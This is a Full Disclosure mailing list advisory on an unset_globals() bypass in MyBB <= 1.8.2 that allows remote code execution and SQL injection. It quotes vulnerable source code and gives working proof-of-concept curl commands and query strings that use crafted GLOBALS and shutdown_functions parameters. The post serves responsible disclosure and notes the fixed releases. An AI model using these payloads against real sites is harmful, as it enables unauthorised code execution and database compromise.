Full Disclosure mailing list archives

By Date By Thread MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability From: Taoguang Chen <taoguangchen () gmail com>

Date: Sat, 22 Nov 2014 03:57:39 +0000

#MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability Taoguang Chen <[@chtg57](twitter.com/chtg57)> - 2014.11.21 MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution. ##I. MyBB's unset_globals() Function Bypass When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST, $\_GET, $\_FILES, and $\_COOKIE arrays will be destroyed. ``` if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4 } } ``` But unset\_globals() function can be bypassed. ###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed ``` foo.php?_COOKIE=1 // $_GET['_COOKIE'] ``` When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE']. ``` $this->unset_globals($_GET); ... } ... function unset_globals($array) { ... foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); ``` This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed because them will not be handled by unset(). ``` $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } ``` By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not be destroyed. ###ii) $GLOBALS Array was Destroyed ``` foo.php?GLOBALS=1 // $_GET['GLOBALS'] ``` When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed. $GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. This means that the binding between the $GLOBALS array and the global symbol table will be broken because $GLOBALS array has been destroyed. This also means all variables registered by PHP from $\_GET, $\_FILES and $\_COOKIE arrays will not be destroyed. By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array, then the corresponding global variables registered by PHP will not be destroyed. In fact, MyBB is already aware of the problem: ``` $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { die("Hacking attempt"); } } ``` Unfortunately, there is a small hole yet:-) $\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data. But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array. ``` request_order = "GP" ``` This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COOKIE array data. So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3. ##II. Remote Code Execution Vulnerability There is one interesting method in MyBB: ``` class MyBB { ... function __destruct() { // Run shutdown function if(function_exists("run_shutdown")) { run_shutdown(); } } } ``` Look into run\_shutdown() function: ``` function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // Run any shutdown functions if we have them if(is_array($shutdown_functions)) { foreach($shutdown_functions as $function) { call_user_func_array($function['function'], $function['arguments']); } } $done_shutdown = true; } ``` The $shutdown\_functions was initialized via add\_shutdown() function in init.php: ``` // Set up any shutdown functions we need to run globally add_shutdown('send_mail_queue'); ``` But add\_shutdown() function initialization handler is wrong: ``` function add_shutdown($name, $arguments=array()) { global $shutdown_functions; if(!is_array($shutdown_functions)) { $shutdown_functions = array(); } if(!is_array($arguments)) { $arguments = array($arguments); } if(is_array($name) && method_exists($name[0], $name[1])) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } else if(!is_array($name) && function_exists($name)) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } return false; } ``` In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result in arbitrary code execution. ##III. Proof of Concept When request\_order = "GP" and register\_globals = On, remote code execution by just using curl on the command line: ``` $ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/ ``` ##IV. P.S.I **Another case to exploit the vulnerability:** When PHP's "disable\_functions" configuration directive disable ini\_get() function: ``` disable_functions = ini_get ``` The unset\_globals() function will not be called that regardless of register\_globals set on or off. ``` if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } ``` **Proof of Concept** Works on disable\_functions = ini\_get and register\_globals = On: ``` index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1 ``` ##V. P.S.II **SQL injection vulnerability via run\_shutdown() function** ``` function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // We have some shutdown queries needing to be run if(is_array($shutdown_queries)) { // Loop through and run them all foreach($shutdown_queries as $query) { $db->query($query); } } ``` The $shutdown\_queries was initialized in global.php: ``` $shutdown_queries = array(); ``` But not all files are included global.php, such as css.php: ``` require_once "./inc/init.php"; ``` There is not included global.php, and $shutdown\_queries is uninitialized, with the result that there is a SQL injection vulnerability. **Proof of Concept** Works on request\_order = "GP" and register\_globals = On: ``` $ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php ``` Works on disable\_functions = ini\_get and register\_globals = On: ``` css.php?shutdown_queries[]=SQL_Inj ``` ##VI. Disclosure Timeline * 2014.03.06 - Notified the MyBB devs via security contact form * 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply * 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16 * 2014.11.21 - Public Disclosure _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability Taoguang Chen (Nov 25)